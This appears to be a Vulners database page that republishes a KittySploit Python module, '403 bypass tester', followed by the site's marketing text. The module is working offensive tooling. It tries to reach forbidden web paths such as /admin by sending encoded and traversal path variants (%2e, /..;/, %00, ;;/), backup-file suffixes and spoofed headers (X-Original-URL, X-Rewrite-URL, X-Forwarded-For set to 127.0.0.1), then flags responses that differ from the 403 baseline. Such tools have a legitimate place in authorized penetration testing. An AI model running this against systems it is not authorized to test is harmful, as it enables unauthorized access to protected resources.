Lucene search
+L

403 bypass tester

🗓️ 11 Dec 2025 15:52:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

KittySploit 403 bypass tester attempts to bypass 403 forbidden restrictions on web resources.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.bypass_confirm import is_confirmed_bypass
import os


class Module(Auxiliary, Http_client):

    __info__ = {
        'name': '403 bypass tester',
        'description': (
            "Try to bypass 403 (forbidden) on a web resource. Homepage collapses "
            "(e.g. /admin/../, ignored rewrite headers) are filtered out."
        ),
        'author': 'KittySploit Team',
        'tags': ['web', 'scanner', 'bypass', '403'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 12,
            'reversible': True,
            'approval_required': False,
            'produces': ['risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 0.8,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'endpoints', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
    }

    path = OptString("/admin", "Chemin ou ressource à tester", required=True)
    extra_wordlist = OptFile("", "File with additional paths (one per line)", required=False, advanced=True)
    compare_soft403 = OptBool(True, "Compare the body with the reference 403 response", required=False, advanced=True)

    def check(self):
        """Vérifie que la cible est joignable."""
        try:
            resp = self.http_request(method="GET", path="/", allow_redirects=False)
            if resp and resp.status_code in [200, 301, 302, 401, 403, 404]:
                return True
            print_error("The target is not reachable.")
            return False
        except Exception as e:
            print_error(f"Error during check: {e}")
            return False

    def _normalize_path(self, path_str):
        path_str = path_str.strip()
        if not path_str.startswith("/"):
            path_str = f"/{path_str}"
        return path_str

    def _load_extra_paths(self):
        if not self.extra_wordlist:
            return []
        if not os.path.isfile(self.extra_wordlist):
            print_warning(f"Wordlist not found: {self.extra_wordlist}")
            return []
        extra = []
        try:
            with open(self.extra_wordlist, "r", encoding="utf-8", errors="ignore") as f:
                for line in f:
                    line = line.strip()
                    if line:
                        extra.append(self._normalize_path(line))
        except Exception as e:
            print_warning(f"Unable to read wordlist: {e}")
        return extra

    def _base_variations(self, base_path):
        clean = self._normalize_path(base_path.rstrip("/")) if base_path != "/" else "/"
        encoded = clean.replace("/", "%2f")

        suffixes = [".", ".json", ".html", ".php", ".bak", ".old", "~"]
        injections = [
            "",
            "/",
            "/.",
            "/%2e/",
            "%2e",
            "%2f",
            "%2f/",
            "%20",
            "%09",
            "%00",
            ";;/",
            "/..;/",
            "/.;/",
            "/./",
            "/../",
            "//",
            "/?",
            "/?bypass=1",
            "/#",
        ]

        variants = []
        for inj in injections:
            variants.append((f"path:{inj or 'base'}", f"{clean}{inj}", None))

        for suffix in suffixes:
            variants.append((f"suffix:{suffix}", f"{clean}{suffix}", None))

        variants.append(("double_slash_prefix", f"//{clean.lstrip('/')}", None))
        variants.append(("dot_prefix", f"/./{clean.lstrip('/')}", None))
        variants.append(("encoded_path", encoded, None))
        variants.append(("upper_case", clean.upper(), None))
        variants.append(("lower_case", clean.lower(), None))

        header_variants = [
            ("x-original-url", "/", {"X-Original-URL": clean}),
            ("x-rewrite-url", "/", {"X-Rewrite-URL": clean}),
            ("x-forwarded-for", clean, {"X-Forwarded-For": "127.0.0.1"}),
            ("x-forwarded-host", clean, {"X-Forwarded-Host": "127.0.0.1"}),
            ("x-client-ip", clean, {"X-Client-IP": "127.0.0.1"}),
            ("referer-root", clean, {"Referer": "/"}),
        ]
        variants.extend(header_variants)

        return variants

    def _response_signature(self, response):
        if response is None:
            return None
        body = response.text or ""
        return {
            "status": response.status_code,
            "length": len(body),
            "content_type": response.headers.get("Content-Type", ""),
        }

    def _fetch(self, path, headers=None):
        try:
            return self.http_request(
                method="GET",
                path=path,
                headers=headers or {},
                allow_redirects=False,
            )
        except Exception as e:
            print_debug(f"Request failed for {path}: {e}")
            return None

    def run(self):
        print_status(f"Target: {self.target}:{self.port} | Test the path {self.path}")
        target_path = self._normalize_path(str(self.path or "/admin"))

        home_sig = self._response_signature(self._fetch("/"))
        baseline_resp = self._fetch(target_path)
        baseline_sig = self._response_signature(baseline_resp)
        if baseline_sig:
            print_info(
                f"Reference response: status={baseline_sig['status']} len={baseline_sig['length']}"
            )
        else:
            print_warning("Unable to get a reference response, the differences will be less reliable.")
        if home_sig:
            print_info(f"Homepage control: status={home_sig['status']} len={home_sig['length']}")

        baseline_status = int((baseline_sig or {}).get("status") or 0)
        if baseline_status != 403:
            print_warning(
                f"Path {target_path} is not 403 (got {baseline_status or 'n/a'}); "
                "skipping 403 bypass probes. Use bypass_404 for missing paths."
            )
            print_info("No confirmed 403 bypass.")
            return True

        variants = self._base_variations(target_path)
        for extra in self._load_extra_paths():
            variants.append((f"extra:{extra}", extra, None))

        seen = set()
        filtered = []
        for name, path, headers in variants:
            key = (path, frozenset((headers or {}).items()))
            if key in seen:
                continue
            seen.add(key)
            filtered.append((name, path, headers))

        findings = []
        confirmed = 0
        for name, path, headers in filtered:
            resp = self._fetch(path, headers=headers)
            sig = self._response_signature(resp)
            interesting = False
            if sig and self.compare_soft403:
                interesting = is_confirmed_bypass(
                    sig,
                    blocked_sig=baseline_sig,
                    home_sig=home_sig,
                    name=name,
                    path=path,
                    target_path=target_path,
                    blocked_status=403,
                )
            elif sig and not self.compare_soft403:
                interesting = sig["status"] not in {403, 400, 404}
            if sig:
                note = "yes" if interesting else "no"
                findings.append([name, path, sig['status'], sig['length'], note])
                if interesting:
                    confirmed += 1
                    print_success(
                        f"[{name}] Confirmed bypass candidate: {path} -> "
                        f"{sig['status']} (len={sig['length']})"
                    )
            else:
                findings.append([name, path, "err", 0, "no"])

        print_table(['Test', 'Path', 'Code', 'Size', 'Diff?'], findings)
        if confirmed:
            print_success(f"Confirmed bypass candidates: {confirmed}")
        else:
            print_info("No confirmed 403 bypass (homepage collapses / errors filtered out).")
        return True


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 16:41Current
5.8Medium risk
Vulners AI Score5.8
2